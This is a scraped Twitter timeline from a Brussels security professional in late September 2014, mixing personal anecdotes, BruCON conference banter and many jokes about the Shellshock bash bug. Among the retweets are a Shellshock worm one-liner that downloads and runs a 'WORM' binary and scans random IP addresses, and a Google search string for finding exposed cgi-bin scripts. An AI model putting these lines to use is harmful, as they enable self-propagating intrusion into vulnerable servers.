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lapsus linguae @treyka Brussels, Belgium

bit-flipper; stochastic admixture of signal and noise; kicking against the pricks;

911 Following   964 Followers   10,118 Tweets

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The most powerful impediment I've seen to software project agility is JIRA. How come it's so popular?
Retweeted by lapsus linguae
10/1
2014
1: "That probably cost us 5 man days". 2: "Person days." 1: "Sorry, I'm a terrible person." 2: "No, you're a terrible man." #Ijustgottold
Retweeted by lapsus linguae Media, considered as a binary stream, is copyrightable. Were it factored into a polynomial equation, would that fall under the same rubric?Intellectual property law in essence assigns to entities total ownership of specific, finite (albeit large) numbers. That shit cracks me up.(That is to say, in terms of code maturity, not the release number itself.)Major release iteration should be logarithmic, not linear. ;-)For Halloween this year I'm planning to go as a webinar.Sontag snuggles in a bear suit #heroshot #exploreeverything http://t.co/174DVfMAra
Retweeted by lapsus linguae "There are days like that. Everybody you meet is a dope. You begin to look at yourself in the glass and wonder." --Raymond Chandler@pendrift Yes, there's a meeting coming up soon to see how we can get rid of him. "Schizoid" is a decent working approximation.@pendrift His issue was my daughter. She was just talking normally while we were carrying out the recycling and he fucking terrorized her.Batshit crazy neighbor didn't call the cops after all. So disappoint.@xme @BruCON 15f, let's use base-42. :-P@xme Honest mistake. 0x7de wasn't intuitively obvious when we first cracked open that box of wristbands. :-P"Warren Buffett's Best Productivity Hack Is A Simple 2-List System" Interesting Article http://t.co/y2oRKH3LnO
Retweeted by lapsus linguae @xme 0x07? 0x06, wasn't it?A haskeller with an empty cup talks about walking into a bar, pouring a beer. They raise the cup to their mouth and it's suddenly full.
Retweeted by lapsus linguae @xme Obvious typo in that last but you get the point...@xme Probably not. When the finally machines throw humanity up against a wall, sentient printers will doubtless be leading the revolution.@xme At least printers don't execute Javascript ;-)If only Microsoft was switching to posix like apple did with OS10
Retweeted by lapsus linguae @joshcorman @wimremes TV-Be-Gone + CNN Center == lulz #innocentfaceHe's a multiple-diagnosis psych case, if ever I saw one.... threatening to call the cops, and terrifying my daughter. I told him to fucking call them and frankly I hope that the asshole did so.Carrying out the recycling at the perfectly reasonable hour of 18h, my insane downstairs neighbor cursed me out at the top of his voice...
9/30
2014
Philip Marlowe was the Chuck Norris of incident response.Walled gardens are the zombie apocalypse of the internet.What the world needs now is more infosec cons like I need a hole in my bash.Funny to think that if I do my job right this little quantum will quickly outpace my abilities, yet likely face no fewer frustrations.Is there such a thing as too much Wilson Pickett? Highly doubtful!Cranky child is cranky.
9/29
2014
@nrr @lusis Human nastiness towards our fellows knows no borders; luckily for the rest of the universe we're still principally earth-bound.@lusis I saw it, too. Not in school but just...well...growing up in the South.@lusis There's some cringe-inducing racism in Peter Pan but it's no Song of the South.I think *technically* I'm reading about 150 books simultaneously. Naw, I'm not ADD at all...The world economic system appears to be constructed mainly of sawdust, sweet annie weed, and an ouroborus of "other people's problems".@k8em0 It's consenting cuisine, a la Milliways.@wimremes @dewzi Doh!@wimremes I'm miffed to have missed hitting the Clermont with you, bro.#langsec cat is not amused about a certain bash feature. http://t.co/jzi6WjzBCh
Retweeted by lapsus linguae Running alongside a kid learning to ride a bicycle is seriously exhausting. Whew!@abditum @djon3s That might seem like a stupid amount of money but for perspective say that you paid your rent in GBP and got paid in USD...I wish there was room service at my house...@abditum @djon3s FYI, the US and Eritrea are the only countries that tax based on citizenship rather than residency. It's an elite club...@abditum @djon3s Above USD 98,500 the US *does* tax foreign-earned income. Under some circumstances this limit is lower. #doubletaxationftws='() { .;};wget x.x.x.x/WORM;chmod +x WORM;./WORM';while true;do wget $[RANDOM%255].$[RANDOM%255].$[RANDOM%255].$[RANDOM%255] -U'$s';done
Retweeted by lapsus linguae Someone should spread a rumor that Muslims are religiously banned from eating donuts so maybe people will start sending those to the mosque.
Retweeted by lapsus linguae
9/28
2014
So, you've applied the latest bash patches? Let #langsec cat have a closer look. Oh, vulns! http://t.co/01rtfYGX4i http://t.co/SYGvGa70IC
Retweeted by lapsus linguae
9/27
2014
"The Structure and Interpretation of Computer Programmers"
Retweeted by lapsus linguae You kids think you are so cool with your ello but I am just sitting here uploading plain text files about my day to random ftp servers
Retweeted by lapsus linguae A good workman throws their shitty tools in the trash when they realize they're broken
Retweeted by lapsus linguae openssl & bash, a.k.a. this decade's sendmail & bind.
Retweeted by lapsus linguae http://t.co/ivQE8jA8g5
Retweeted by lapsus linguae Aretha, Chandler, and a Manhattan...Satan's probably like "oh honey, at my age NEITHER DO I." http://t.co/p4ifP3QXEl
Retweeted by lapsus linguae @Secureholio Likewise :-)@biosshadow @snare @jjx @DaveMinella Tailwinds and godspeed, y'all!@vplus Every time you pop up on my timeline I have Athens flashbacks. ;-)Sparklehorse would sound pretty good on the five-string.Looks into adjusting action on banjo, decides to consult with luthier...Boy: do u have any fantasies Me: ok.. so.. the library of alexandria is under siege& Im a librarian whos good at fighting& I save the books
Retweeted by lapsus linguae Somehow survived one more @brucon...Any sufficiently advanced hacking is indistinguishable from haunting.
Retweeted by lapsus linguae RT @jearle: Is this anti-evil? env x='() { :;}; apt-get update && apt-get install --only-upgrade bash' bash -c "Oops.” <— Lol
Retweeted by lapsus linguae 127.0.0.1 :-)I’m DevOpsing so hard I just segfaulted Vim.
Retweeted by lapsus linguae "I'd like to buy a vowel." #brucon cc @MrToph @leighalytle http://t.co/3vvp4iBooTNice handbag @jjx http://t.co/TpHBEY0A9M
Retweeted by lapsus linguae
9/26
2014
So this happened, basically. https://t.co/ucUQCXX7kB
Retweeted by lapsus linguae #brucon party getting off to a classy start... http://t.co/NGN9Y4Um8OSo for 25 years, all servers have had a trivial remote-exec sploit. WTF. Reread Quinn Norton's Everything is Broken: https://t.co/GqDsNUdv6Q
Retweeted by lapsus linguae @hal_pomeranz ranting about ext4 timestamp data structures is the best standup routine I've seen in a long time.Totally stoked to be in @hal_pomeranz's forensics workshop #bruconOH: there's an awful lot of midget porn on the wall of sheep
Retweeted by lapsus linguae Bash hates our freedom. I had just migrated all our production servers from openssl to zsh.
Retweeted by lapsus linguae google filetype:sh inurl:cgi-bin;
Retweeted by lapsus linguae They laughed when I insisted on automatically applying all security patches nightly via unattended-upgrades. They’re not laughing now.
Retweeted by lapsus linguae For a laugh: *Facepalm* Oh GoDaddy... #Shellshock #CVE20146271 #bashbug #bashbleed #bashpocalypse #infosec http://t.co/rauyXVvR1k
Retweeted by lapsus linguae http://t.co/1wSKy1V1Hl
Retweeted by lapsus linguae I thought I had a bit of a rough night until I saw @wimremes's head. #brucon
9/25
2014
A DHCP packet walks into a bar. "Bartender, gimme a beer!". "Here you go, I'll need it back in an hour". #puppetconf
Retweeted by lapsus linguae OMG. Hahaha. @nigelkersten: "I'd love to tell you a UDP joke, but you probably won't get it." #puppetconf
Retweeted by lapsus linguae bash vulnerability? lmao if you haven’t switched everything to zsh or fish #hipster
Retweeted by lapsus linguae @cudeso One can only hope...Some Debian mirrors seem to be inexplicably down...dear young people. You don't know everything. We old people don't know everything either but we have a bigger corpus for heuristics
Retweeted by lapsus linguae
9/24
2014
@adamshostack An overview of Zwicky's Morphological Analysis: http://t.co/CKbmFGpvqzCamille Flammarion L'Atmosphere: Météorologie Populaire (París, 1888). http://t.co/DqM4KlSqXB
Retweeted by lapsus linguae
9/23
2014
unnecessary drama fatwa"Junk Hacking must stop!" via @daveaitel https://t.co/TpsgjgJRxf
Retweeted by lapsus linguae Every tweet is a meme begging for life and if you fav instead of retweeting you're just chuckling as you drive a blade into its heart
Retweeted by lapsus linguae The Dutch NOS writes that Google's Eemshaven datacenter contains 100000 servers. First time I see an amount of Google servers published
Retweeted by lapsus linguae It would be most useful to have a sort of shibboleth with which to painlessly differentiate sycophant-seeking zombies from humans.
9/22
2014
I was in favour of space exploration until I realised what it'd mean for date time libraries
Retweeted by lapsus linguae Your great-grandchildren won't be thanking you for all the Benghazi committees while they are spending billions on coastal flooding.
Retweeted by lapsus linguae Reserved seats get in until 5 min before the workshop. Then it is first come, first in. Reserve your seat at http://t.co/LGD9VPh94L NOW
Retweeted by lapsus linguae Hint that your sysadmin has a colourful life outside of work... The Cat5-o-nine tails. http://t.co/NNIVuetttX
Retweeted by lapsus linguae Bought myself a banjo and a ukulele for the wee one. :-D@snow_jennifer Congrats! Whereabouts?@cherssen @biosshadow @leighalytle @MrToph Maybe we'll bump into each other randomly at Carfree. If not, see y'all in Gent.
9/21
2014
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